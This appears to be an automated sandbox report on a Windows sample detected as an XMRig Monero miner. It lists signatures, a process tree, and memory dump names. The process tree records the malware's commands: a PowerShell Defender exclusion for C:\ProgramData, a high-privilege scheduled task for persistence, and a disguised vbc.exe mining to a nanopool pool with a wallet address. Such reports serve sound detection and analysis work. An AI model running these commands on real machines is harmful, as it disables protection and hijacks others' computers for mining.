Analysis
- max time kernel
88s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20220812-en - resource tags
- submitted
12/11/2022, 04:12
General
- Target file.exe
- Size 1.2MB
- Sample221112-eshrlagg2z
- SHA256 fba6bdb44712ea2035fe42cb16a2c717c99047cde6d779ce82c013633305bdae
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 6 IoCs
- Executes dropped EXE 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 28 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF031.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\WindowsMail\AVPTQBAEW.exe"C:\ProgramData\WindowsMail\AVPTQBAEW.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
AVPTQBAEW.exe
AVPTQBAEW.exe
powershell.exe.log
StartupProfileData-NonInteractive
tmpF031.tmp.bat
memory/1524-153-0x000001C33B3B0000-0x000001C33B3D2000-memory.dmp
memory/1524-152-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmp
memory/1524-156-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmp
memory/1612-180-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmp
memory/2440-143-0x0000000000CC0000-0x0000000000EBA000-memory.dmp
memory/2440-141-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmp
memory/2440-144-0x00007FFAB0280000-0x00007FFAB03CE000-memory.dmp
memory/2440-145-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmp
memory/2440-146-0x00007FFACB2A0000-0x00007FFACB2C7000-memory.dmp
memory/2440-149-0x0000000000CC0000-0x0000000000EBA000-memory.dmp
memory/2440-150-0x0000000000EC0000-0x0000000000F03000-memory.dmp
memory/2440-151-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmp
memory/2440-132-0x0000000000CC0000-0x0000000000EBA000-memory.dmp
memory/2440-142-0x00007FFACB630000-0x00007FFACB65B000-memory.dmp
memory/2440-140-0x00007FFACBC80000-0x00007FFACBE21000-memory.dmp
memory/2440-139-0x00007FFAB6F40000-0x00007FFAB6FFD000-memory.dmp
memory/2440-138-0x00007FFAC8A90000-0x00007FFAC8AA2000-memory.dmp
memory/2440-134-0x0000000000EC0000-0x0000000000F03000-memory.dmp
memory/2440-137-0x00007FFACBFB0000-0x00007FFACC04E000-memory.dmp
memory/2440-136-0x00007FFAB7000000-0x00007FFAB70AA000-memory.dmp
memory/4016-169-0x00007FFACB630000-0x00007FFACB65B000-memory.dmp
memory/4016-184-0x00007FFACBC00000-0x00007FFACBC6B000-memory.dmp
memory/4016-168-0x00000000004D0000-0x00000000006CA000-memory.dmp
memory/4016-170-0x00000000031B0000-0x00000000031F3000-memory.dmp
memory/4016-171-0x00000000004D0000-0x00000000006CA000-memory.dmp
memory/4016-173-0x00007FFAB01C0000-0x00007FFAB030E000-memory.dmp
memory/4016-172-0x00000000004D0000-0x00000000006CA000-memory.dmp
memory/4016-174-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmp
memory/4016-166-0x00007FFACBC80000-0x00007FFACBE21000-memory.dmp
memory/4016-165-0x00007FFAB0310000-0x00007FFAB03CD000-memory.dmp
memory/4016-164-0x00007FFAC8A90000-0x00007FFAC8AA2000-memory.dmp
memory/4016-163-0x00007FFACBFB0000-0x00007FFACC04E000-memory.dmp
memory/4016-162-0x00007FFAB6FB0000-0x00007FFAB705A000-memory.dmp
memory/4016-181-0x00007FFACB2A0000-0x00007FFACB2C7000-memory.dmp
memory/4016-182-0x00007FFAB6F40000-0x00007FFAB6F75000-memory.dmp
memory/4016-183-0x00007FFAA9700000-0x00007FFAA9802000-memory.dmp
memory/4016-167-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmp
memory/4016-185-0x00007FFACA020000-0x00007FFACA05B000-memory.dmp
memory/4016-186-0x00000000004D0000-0x00000000006CA000-memory.dmp
memory/4016-187-0x00007FFAAED70000-0x00007FFAAF831000-memory.dmp
memory/4692-188-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4692-190-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4692-191-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4692-192-0x00000283222E0000-0x0000028322300000-memory.dmp
memory/4692-193-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4692-194-0x0000028322340000-0x0000028322360000-memory.dmp
memory/4692-195-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/4692-196-0x0000028322360000-0x0000028322380000-memory.dmp
memory/4692-197-0x0000028322380000-0x00000283223A0000-memory.dmp
memory/4692-198-0x0000028322360000-0x0000028322380000-memory.dmp
memory/4692-199-0x0000028322380000-0x00000283223A0000-memory.dmp